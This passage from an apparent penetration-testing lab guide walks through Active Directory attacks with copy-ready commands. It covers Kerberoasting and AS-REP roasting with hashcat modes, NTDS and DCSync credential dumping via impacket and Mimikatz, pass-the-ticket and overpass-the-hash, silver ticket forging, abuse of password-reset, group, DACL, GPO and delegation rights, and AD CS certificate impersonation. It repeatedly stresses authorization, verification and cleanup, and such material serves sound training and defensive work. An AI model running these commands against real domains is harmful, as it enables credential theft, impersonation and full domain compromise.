DCC2 is for offline guessing, not Pass-the-Hash:
hashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Verify the exact format with the installed Hashcat examples before cracking.
Verify: Retain source, account, type and required factors; do not label every parsed output a Pass-the-Hash credential.
If it fails: Absent cached entries or protected secrets are source-specific limitations; use another justified credential source.
10.12.18.2.7 Find: Use Credential Manager and DPAPI with the protecting context
Inspect saved-credential targets and readable protected files within the current protecting user/machine context.
whoami /user
cmdkey /list
Recognize: The target and protecting SID identify which keys/context or consumer must be investigated.
Validate next: Check matching master keys/recovery factors or an allowed saved-credential consumer; file read alone is insufficient.
Use Credential Manager and DPAPI with the protecting context.
10.12.18.2.8 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
Get-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Force -Recurse -ErrorAction SilentlyContinue
For each entry record target, type, username, persistence/context and whether a compatible application can ask Windows to use it. A listed credential is not necessarily exportable plaintext.
DPAPI reasoning:
PROTECTED BLOB
-> MASTER-KEY GUID
-> USER OR MACHINE PROTECT SCOPE
-> MASTER-KEY DECRYPTION MATERIAL
-> APPLICATION-SPECIFIC DECODING
Possible decryption material includes the already logged-on user context, the user's password/NT hash, machine context or a domain DPAPI backup key. Prefer using the authorized existing context rather than copying unrelated protected data. One blob without its master key/context is incomplete.
Verify: Verify the decrypted value or actual saved-credential action in its matching context.
If it fails: Missing master keys, wrong protecting identity or incomplete artifacts require another source/context.
10.12.18.2.9 Find: Parse an offline domain database or select a justified remote collection path
Start only from evidence of an already controlled DC or a domain replication right; identify the source mechanism before choosing a generic extraction command.
file NTDS.dit SYSTEM.save
Recognize: A database/key pair is an offline source candidate; remote DRS requires a different permission chain.
Validate next: Verify same-source consistency and access, or independently validate the exact replication/remote collection prerequisites.
Parse an offline domain database or select a justified remote collection path.
10.12.18.2.10 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method
10.12.18.2.10.1 Parse a matched domain database and SYSTEM hive offline Offline NTDS from an already controlled DC
An offline parse needs a matched NTDS.dit and SYSTEM hive:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM.hive LOCAL
Obtaining locked DC database files normally requires DC-level privilege and a snapshot/backup-aware method. Ordinary local administrator on a member server does not provide this material.
10.12.18.2.10.2 Shadow-copy boundary: inspect before creating anything
From an already controlled Windows Server/DC context, first determine whether a usable snapshot already exists and whether the current token has the required backup/administrative rights:
whoami /priv
vssadmin list shadows
diskshadow
At the DISKSHADOW> prompt:
list shadows all
exit
Interpret: an existing shadow proves only a snapshot object. It does not prove the current identity can read
NTDS.dit, that the copy is current, or that a matching SYSTEM hive has been acquired.DiskShadowis a Windows Server utility; absence on a workstation is a platform result, not proof that VSS does not exist.
Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.
10.12.18.2.10.3 Remote collection
impacket-secretsdump -dc-ip DC_IP 'DOMAIN/USER:PASSWORD@DC_HOST'
impacket-secretsdump -hashes :NT_HASH -dc-ip DC_IP 'DOMAIN/USER@DC_HOST'
This broad form can invoke several remote collection paths and is high impact. Use it only when the lab objective and privileges justify those sources. For replication rights and a bounded one-user request, use Retrieve domain credential material through verified replication rights.
Verify: Verify source consistency, account mapping and the exact collection method; retain sensitive output privately.
If it fails: DC reachability or local administrator access on a member server is not sufficient for domain replication.
10.12.18.2.11 Find: Request AS-REP material for an account without preauthentication
With an authenticated directory view inspect userAccountControl; without a bind, use only the documented known-user/no-password KDC path and distinguish its replies.
Get-DomainUser -Properties samaccountname,useraccountcontrol |
Select-Object samaccountname,@{n='UAC';e={[int]$_.useraccountcontrol}} |
Where-Object { ($_.UAC -band 0x400000) -ne 0 }
Recognize: The DONT_REQUIRE_PREAUTH bit is set. Test the bit, not equality to one whole decimal value, because other flags coexist.
Validate next: Check account state, KDC route, response/encryption type and feasible recovery; no-password discovery requires a real known username.
Request AS-REP material for an account without preauthentication.
10.12.18.2.12 Commands and use-case variants
Need: A known domain username for a password-free request, or an authenticated bind for directory-backed discovery. Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ
10.12.18.2.12.1 Why AS-REP roasting works
Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.
KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES
10.12.18.2.12.2 Request an AS-REP for a known user without preauthentication One known user, no password
impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
-dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes
10.12.18.2.12.3 Check supplied account names for AS-REP recovery conditions Supplied user list, no password
impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
-dc-ip DC_IP -outputfile asrep.hashes
10.12.18.2.12.4 Find AS-REP candidates through authenticated directory queries Authenticated directory-backed discovery
impacket-GetNPUsers 'DOMAIN/USER' -request \
-dc-ip DC_IP -outputfile asrep.hashes
Omitting the password from the target lets the tool prompt rather than storing it in shell history.
10.12.18.2.12.5 Request selected Kerberos material from Windows with Rubeus Windows/Rubeus alternative
Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat
10.12.18.2.12.6 Interpret before cracking
| Output | Meaning | Next action |
|---|---|---|
$krb5asrep$23$ | RC4 AS-REP offline verifier | Hashcat mode 18200 |
| AS-REP with another etype | Different cipher/format | Match the exact prefix to installed Hashcat/John support |
KDC_ERR_C_PRINCIPAL_UNKNOWN | User/realm not found | Recheck spelling, realm and DC |
Preauthentication required / no UF_DONT_REQUIRE_PREAUTH | Account is not roastable through this method | Disprove this path for that account |
| Timeout/name error | KDC route/DNS problem | Fix route/FQDN/time before account conclusions |
hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show
Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.
Verify: Verify the account, realm, response format/encryption type and recovered credential if cracking succeeds.
If it fails: Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings.
10.12.18.2.13 Find: Request a selected service ticket for offline service-account recovery
Use a directory client's user-owned SPN inventory and inspect the associated account's memberships/utility before requesting a selected ticket.
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof
Recognize: A user-owned SPN supplies the account key targeted by a service ticket and a reason to assess password-recovery feasibility.
Validate next: Verify valid KDC context, selected account/SPN, returned encryption type, password model and useful resulting rights.
Request a selected service ticket for offline service-account recovery.
10.12.18.2.14 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy
10.12.18.2.14.1 Why Kerberoasting works
Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.
VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES
Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.
10.12.18.2.14.2 Enumerate without requesting tickets
impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'
Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST
10.12.18.2.14.3 Request one selected user
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
-outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'
Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes
10.12.18.2.14.3.1 Request all mapped candidates
impacket-GetUserSPNs -request -dc-ip DC_IP \
-outputfile kerberoast.hashes 'DOMAIN/USER'
Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes
Use broad requests only when scope and the candidate inventory justify them. Prefer one ranked account during verification.
10.12.18.2.14.4 Select the recovery format that matches the returned Kerberos artifact Hash type and cracking
| Prefix | Kerberos etype | Hashcat mode |
|---|---|---|
$krb5tgs$23$ | RC4-HMAC | 13100 |
$krb5tgs$17$ | AES128 | 19600 |
$krb5tgs$18$ | AES256 | 19700 |
hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show
Select the mode from the actual prefix and current hashcat --example-hashes; do not assume every TGS is RC4. AES material is still an offline verifier but generally costs more per guess. Cracking feasibility is governed mainly by password strength and candidates, not merely ticket acquisition.
10.12.18.2.14.5 Common failures
- no SPNs returned: wrong domain/base/authentication context, filtering or no user SPNs;
KDC_ERR_S_PRINCIPAL_UNKNOWN: SPN is absent/malformed or queried in the wrong realm;KDC_ERR_ETYPE_NOSUPP: requested cipher conflicts with account/domain policy;- output wraps or fails to load: save directly to an output file and verify prefix/line integrity;
- crack exhausts candidates: password not represented by the tested model; the account is not therefore “secure.”
Verify: Record SPN/account/encryption type and verify any recovered password against the intended identity.
If it fails: No crack means only the tried candidates failed; a ticket request does not prove a weak password or host access.
10.12.18.2.15 Find: Create a temporary SPN through an effective object right
Inspect a useful user's SPN set and resolved effective ACL rather than assuming GenericWrite always permits a desired property change.
Get-DomainUser -Identity TARGET_USER -Properties serviceprincipalname
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Recognize: A specific writable SPN property on a useful user can create a ticket-request opportunity.
Validate next: Verify trustee/effective property scope, enabled account, unique temporary SPN, KDC context and exact restoration.
Create a temporary SPN through an effective object right.
10.12.18.2.16 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup
If Block 10 proved effective write access to a user object's servicePrincipalName, an SPN can be temporarily added, requested and removed. This is a state-changing directory attack and must preserve original state.
Built-in SPN operations:
setspn -L TARGET_USER
setspn -S temporary/TARGET_USER TARGET_USER
Request only that account:
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
-outputfile targeted-TARGET_USER.hashes 'DOMAIN/USER'
Cleanup:
setspn -D temporary/TARGET_USER TARGET_USER
setspn -L TARGET_USER
The controlled right must apply to the SPN attribute, -S must not collide with an existing SPN, and cleanup is part of the procedure. A recovered password is still validated and mapped as a new identity.
If the effective right permits writing servicePrincipalName on a user, add a unique temporary SPN, request that account's ticket and remove the SPN immediately. The cracking workflow is in Kerberos and identity transitions.
setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER
Verify: Verify effective right, requested account and cleanup; confirm any recovered credential independently.
If it fails: GenericWrite must actually apply to the property/object. Duplicate SPNs, protected objects or policy can prevent the chain.
10.12.18.2.17 Find: Inventory, convert and import tickets in the correct logon context
Inspect tickets already available in the current logon session or cache before requesting, importing or collecting more material.
klist
Recognize: A current TGT can request appropriate service tickets if the KDC/name route and account context work.
Validate next: Distinguish TGT from TGS, format, logon-session scope, lifetime, SPN and destination authorization.
Inventory, convert and import tickets in the correct logon context.
10.12.18.2.18 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
klist
klist tgt
klist sessions
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap
Do not run
klist purgeduring triage.
| Field/pattern | Interpretation | Decision |
|---|---|---|
Client: USER @ REALM | Identity represented | Map that exact user/computer and realm |
Client ending in $ | Computer identity | Establish machine-account rights; do not treat as a human user |
Server: krbtgt/REALM | TGT | Can request service tickets while valid, within that client's authorization |
Server: cifs/HOST | CIFS service ticket | Only SMB/CIFS on the named host; authorization still applies |
Server: ldap/DC_HOST | LDAP service ticket | LDAP authentication, not replication rights |
Other SERVICE/HOST | Ticket for that SPN | Use matching hostname/service/client |
Start/End/Renew Time | Validity windows | Import cannot revive an expired/not-yet-valid ticket |
| Ticket flags | Kerberos behavior/history | Not evidence of privilege |
Kdc Called | Issuing KDC | Not evidence of access to that DC |
| Encryption/session key | Compatibility/policy clue | Not privilege or password strength |
Linux cache:
klist -c ticket.ccache
export KRB5CCNAME="$PWD/ticket.ccache"
Convert only when a client expects the other container:
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi
These commands establish a local ticket context. Block 12 selects and validates the remote service.
Windows/Rubeus:
Rubeus.exe ptt /ticket:ticket.kirbi
klist
Windows/Mimikatz:
kerberos::ptt ticket.kirbi
kerberos::list
Linux:
export KRB5CCNAME="$PWD/ticket.ccache"
klist
NT hash or AES key to a TGT:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist
Use /aes128: or /aes256: when that is the actual key type and tool version supports it. RC4-based requests can fail where RC4 is disabled even though the NT hash is correct.
Mimikatz creates a new process using supplied key material:
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:cmd.exe
This is a credential/ticket-context transition, not proof that a destination accepts the identity.
klist
klist tgt
klist sessions
When privileges permit inspecting another logon session:
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap
Do not use
klist purgeduring triage. It destroys cached tickets and can break the current session. Interpret exported tickets using Kerberos and identity transitions.
Verify: Verify ticket client/server/lifetime and an actual service operation; record local versus network identity separately.
If it fails: IP-only naming, realm mismatch, expired lifetime, wrong logon session or unsupported tool Kerberos can break otherwise valid material.
10.12.18.2.19 Find: Forge a service-scoped ticket from the correct service key
Classify a verified service key and correlate its account/SPN with the specific target service and domain SID.
setspn -Q SERVICE/TARGET_HOST
whoami /user
klist
Recognize: The key must protect the intended service ticket; an arbitrary user's NT hash is not sufficient.
Validate next: Verify key type/current value, domain SID, principal/SPN, validation behavior and accepted target action.
Forge a service-scoped ticket from the correct service key.
10.12.18.2.20 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use
Prerequisite: key/hash of the account encrypting the target SPN's tickets, domain SID, exact SPN/service/host, a plausible existing domain identity and compatible target-service validation behavior.
Linux/Impacket:
impacket-ticketer -nthash SERVICE_NT_HASH -domain-sid DOMAIN_SID \
-domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist
Windows/Mimikatz:
kerberos::golden /sid:DOMAIN_SID /domain:DOMAIN /target:TARGET_HOST /service:cifs /rc4:SERVICE_NT_HASH /user:AUTHORIZED_TEST_USER /ptt
Despite the Mimikatz module name, supplying a service/target key produces a silver/service ticket, not a krbtgt-signed TGT.
Important boundaries:
- the key must belong to the account that owns the SPN; machine-account keys commonly protect host services;
- the ticket is limited to the named service/host and whichever services share the same account key;
- current PAC enforcement means using a nonexistent identity can fail; use a real authorized test identity and validate behavior;
- a service may perform KDC/PAC validation or additional authorization;
- a successfully imported ticket is not successful service access.
Golden tickets require the KRBTGT key and domain SID and create a forged TGT. They are a high-impact persistence concept covered in the conditional domain-compromise section, not a default Block 11 action.
Verify: Prove the intended service action and ticket context; ticket creation/import success alone is insufficient.
If it fails: Wrong key/SPN/SID or modern validation can reject the ticket. Prefer an existing valid credential/TGT route when enabled.
10.12.18.2.21 Find: Reset a target account password through a validated directory right
Follow a mapped useful-user ACL edge and resolve the actual password-reset extended right for the controlled trustee.
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Recognize: An applicable reset operation changes a target credential; it does not reveal the old password.
Validate next: Validate effective membership, protection/account state, account utility and the authorized impact of a disruptive reset.
Reset a target account password through a validated directory right.
10.12.18.2.22 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Exact object/right and account state; the disruptive password change is justified within the assigned lab objective
A password-reset right creates a new password credential; it does not reveal the old one. This is disruptive because an unknown original password cannot be restored.
$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
net user TARGET_USER TEMP_PASSWORD /domain
Validate the account state and authenticate only to an approved service as the target identity. Prefer a reversible route when one exists.
Verify: Verify account identity and compatible authentication, then test relevant authorization.
If it fails: A stale/protected-object edge or policy can prevent the reset. Prefer a reversible SPN/group route when it achieves the objective.
10.12.18.2.23 Find: Add a controlled identity to a group through effective membership rights
Select the useful group from mapping and inspect its current member list and exact member-attribute ACL.
Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs
Recognize: A membership-write operation can grant a defined group capability once new logon/token state reflects it.
Validate next: Verify effective right, actual group-derived authorization, nesting/token refresh and restoration.
Add a controlled identity to a group through effective membership rights.
10.12.18.2.24 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Exact target group, controlled principal, useful resulting right and a fresh token/logon context
10.12.18.2.25 Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }
10.12.18.2.26 Built-in alternative
# Built-in alternative
net group TARGET_GROUP CONTROLLED_USER /add /domain
A current session may not receive the new group SID until a fresh logon. Validate with a new session/token, then remove the membership after the authorized objective:
Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
net group TARGET_GROUP CONTROLLED_USER /delete /domain
Verify: Verify directory membership and actual service action from a refreshed context, then restore the original membership.
If it fails: An old token, wrong group or nesting/policy behavior can leave authorization unchanged despite a successful modification.
10.12.18.2.27 Find: Convert ownership or DACL control into a narrower useful right
Inspect resolved ownership/DACL rights on the exact useful object and separate the intermediate right from the final desired operation.
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
Recognize: Ownership/DACL control may enable a narrower useful ACE; it is an intermediate capability.
Validate next: Validate actual owner semantics, deny/protected-object behavior, ability to grant the next right and original-state restoration.
Convert ownership or DACL control into a narrower useful right.
10.12.18.2.28 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner
WriteOwner can make the controlled identity the owner; ownership may then permit a DACL change. WriteDacl can grant only the narrower right needed for the intended transition.
10.12.18.2.29 Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
10.12.18.2.30 Group-membership variant
# Group-membership variant
Add-DomainObjectAcl -TargetIdentity TARGET_GROUP -PrincipalIdentity CONTROLLED_USER -Rights WriteMembers -Verbose
10.12.18.2.31 Remove the ACE after the authorized objective
# Remove the ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
Export the original owner/security descriptor before changing it and restore exactly that state. Password resets, membership changes, SPN writes, ownership changes and ACE grants are state changes; do not execute merely because a graph shows an edge.
Verify: Verify the intermediate owner/DACL state and final operation separately; restore original state afterward.
If it fails: Protected-object behavior, scope/inheritance or a missing intermediate right can break the chain.
10.12.18.2.32 Find: Use validated directory replication rights for bounded credential proof
Inspect the domain naming-context ACL and resolve replication-specific extended rights for the controlled identity/group.
Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs
Recognize: Replication rights at the domain scope are the relevant clue; local administrator rights on a member host are different.
Validate next: Verify the complete effective replication rights for selected data, trustee membership, DC/RPC route and identity context.
Use validated directory replication rights for bounded credential proof.
10.12.18.2.33 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient
Prerequisite: effective domain-root rights equivalent to
Replicating Directory ChangesplusReplicating Directory Changes All(and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.
Validate ACLs at the domain root:
Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }
A controlled DACL transition can grant these rights, but doing so changes the domain security descriptor and creates a domain-compromise path:
10.12.18.2.34 Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
10.12.18.2.35 Remove the delegated replication ACE after the authorized objective
# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.
Request one approved test account rather than dumping the directory:
impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
'DOMAIN/USER:PASSWORD@DC_HOST'
Mimikatz equivalent from an authorized Windows context:
lsadump::dcsync /domain:DOMAIN /user:TARGET_USER
Decisive output: selected directory secret material returned through replication. Treat it as domain compromise evidence. Stop, protect evidence, document the delegated right and move to remediation reasoning rather than broad collection.
Verify: Verify the replication source, account and material type; avoid equating a tool label with proven rights.
If it fails: RPC route, identity context and missing replication rights produce different failures; verify each prerequisite.
10.12.18.2.36 Find: Conditional: trace GPO control to privileged policy consumption
Enumerate GPO/OU links, then inspect the relevant directory object and SYSVOL policy component's effective control and target applicability.
Get-DomainGPO
Get-DomainOU | Select-Object name,gplink
Recognize: A linked policy supplies a potential privileged consumer only for hosts to which it actually applies.
Validate next: Check both needed policy components, effective ACEs, security/WMI filtering, target scope and refresh trigger.
Conditional: trace GPO control to privileged policy consumption.
10.12.18.2.37 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger
Identify GPOs and links:
Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }
For a candidate, prove:
- the controlled principal can edit both the directory object and relevant SYSVOL policy files;
- the GPO is linked to the OU containing the intended test host/user;
- security filtering and WMI filters include that subject;
- the configured preference/task/script runs in the expected context; and
- policy refresh or another predictable trigger will occur.
SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:
SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force
Back up the GPO, restrict the target/scope, document the exact change and restore it after validation.
Verify: Verify actual policy application and resulting privileged effect; retain/restorable original policy state.
If it fails: Wrong link, filtering, unavailable refresh or missing file rights invalidates the chain. Keep this as a conditional supplement.
10.12.18.2.38 Find: Conditional: use a validated delegation or RBCD relationship
Inspect directory delegation flags/attributes and map the service principals before considering any impersonation request.
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
Recognize: A delegation flag opens a configuration investigation; unconstrained, constrained and RBCD require different relationships.
Validate next: Identify exact delegation type, controlled service/machine key, target SPN, relevant account flags and KDC acceptance.
Conditional: use a validated delegation or RBCD relationship.
10.12.18.2.39 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow
Enumerate before attempting any ticket operation:
Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto
impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP
Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:
impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
-dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.
10.12.18.2.39.1 Validate and use a resource-based delegation relationship Resource-based constrained delegation
Prerequisite: effective write control over the target computer's
msDS-AllowedToActOnBehalfOfOtherIdentityplus control of a principal with an SPN (often a lab computer account).
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
-computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
-action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
-dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'
Cleanup after the lab objective:
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
-action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
-delete -dc-ip DC_IP
Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.
Verify: Verify the exact service ticket and successful destination action, with original delegation state preserved.
If it fails: Protected accounts, unavailable service identity, unsupported encryption or wrong SPN can break the chain. Use only when the complete conditional path exists.
10.12.18.2.40 Find: Conditional: validate an AD CS enrollment-to-authentication path
Enumerate the CA and enabled templates with the known directory identity, then read rights and settings rather than acting on an ESC label.
certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled
Recognize: The conjunction of purpose, subject control and effective enrollment rights is a candidate; issuance and identity mapping are separate gates.
Validate next: Check exact template/CA rights/settings, approval/signatures, required key, current mapping and authenticatable identity.
Conditional: validate an AD CS enrollment-to-authentication path.
10.12.18.2.41 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path
Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.
Package names vary:
command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-enabled -vulnerable -stdout
Review:
- CA name and host;
- template name and whether it is enabled/published;
- who can enroll;
- client-authentication EKUs/purpose;
- subject/SAN supply controls;
- manager approval/signature requirements;
- template owner and modification rights;
- web enrollment/relay-related configuration where relevant.
An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.
Generic request after validating a specific template:
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-target DC_HOST -ca CA_NAME -template TEMPLATE
An alternate UPN/SID request is appropriate only when the validated template permits it and the lab explicitly authorizes impersonation testing:
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-target DC_HOST -ca CA_NAME -template TEMPLATE \
-upn 'TEST_USER@DOMAIN' -sid 'TEST_USER_SID'
certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP
Treat PFX files, tickets and returned hashes as credentials. Verify certificate subject/SID, validity and intended identity. A successful issuance is not the same as successful PKINIT authentication.
Before any authorized template change, save configuration:
certipy-ad template -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-template TEMPLATE -save-configuration template-backup.json
Template writes alter Active Directory configuration and may affect many principals. Use only an explicitly authorized disposable lab path, inspect certipy-ad template -h for the installed version, and restore the saved configuration after the demonstration.
